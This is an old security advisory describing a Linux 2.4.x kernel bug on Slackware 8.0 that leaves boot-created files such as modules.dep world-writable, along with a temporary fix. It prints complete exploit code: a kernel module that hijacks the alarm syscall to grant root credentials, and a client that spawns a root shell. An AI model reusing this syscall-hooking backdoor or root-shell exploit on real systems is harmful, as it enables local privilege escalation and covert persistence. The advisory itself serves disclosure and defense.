COMMAND
kernel (/lib/modules/2.4.5/modules.dep)
SYSTEMS AFFECTED
Linux Slackware 8.0, kernel 2.4.5
PROBLEM
Josh Lockdown found following. The 2.4.x kernels starting with
2.4.3 (guess) have, after load, left a umask of 0000. This
forces any files created in the bootup scripts, without the
command `umask 022` issued to be world writeable. In slackware,
files include /var/run/utmp and /var/run/gpm.pid. This same
vulnerability is responsible for creating /lib/modules/`uname
-r`/modules.dep world writeable. With this file world writeable,
all an intruder need do is put something like the following in
/lib/modules/`uname -r`/modules.dep assuming the system's startup
scripts modprobe lp:
/lib/modules/2.4.5/kernel/drivers/char/lp.o: /tmp/alarm.o
/tmp/alarm.o:
where the alarm.o module is:
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/types.h>
#include <asm/segment.h>
#include <asm/unistd.h>
#include <linux/dirent.h>
#include <sys/syscall.h>
#include <sys/sysmacros.h>
#include <linux/sched.h>
#include <linux/errno.h>
#include <linux/fs.h>
#include <linux/kernel.h>
extern void* sys_call_table[];
unsigned int (*old_alarm) (unsigned int seconds);
unsigned int hacked_alarm (unsigned int seconds);
unsigned int hacked_alarm(unsigned int seconds)
{
if(seconds == 454) {
current->uid = 0;
current->euid = 0;
current->gid = 0;
current->egid = 0;
return 0;
}
return old_alarm(seconds);
}
int init_module(void) {
old_alarm=sys_call_table[SYS_alarm];
sys_call_table[SYS_alarm] = hacked_alarm;
return 0;
}
void cleanup_module(void) {
sys_call_table[SYS_alarm] = old_alarm;
}
Make a client:
#include <stdio.h>
#include <unistd.h>
int main(void)
{
alarm(454);
execl("/bin/sh", "sh", NULL);
}
which will, when the module is loaded, execute a shell as root.
And of course with /var/run/utmp writeable, users can delete or in
other ways manipulate their logins as they appear in
w/who/finger/getlogin(), etc.
A change to the kernel in 2.4.3-pre5 or -pre6 caused all kernel
thread programs to run with umask 0, including init. Newer Redhat
rc.sysinit sets the umask instead of trusting the kernel value,
older Redhat and current Slackware trust the kernel. modutils
trust umask.
At the end this exploit will work only if the kernel hasn't been
recompiled with make modules_install (or depmod -a called
otherwise not at the startup) of if modules.dep is erased before
"depmod -a" at the startup (Slakware 7.0 init script doesn' t do
that, so it is not vulnerable).
SOLUTION
Temporary Fix : umask 022 at the top of all your startup scripts.
The kernel normally mimics the default umask for shells, 022. The
change from 022 to 000 was incorrect and will be backed out in
the next kernel release.
Fixed in 2.4.7-pre7, not released yet. It is a kernel bug, not
modutils.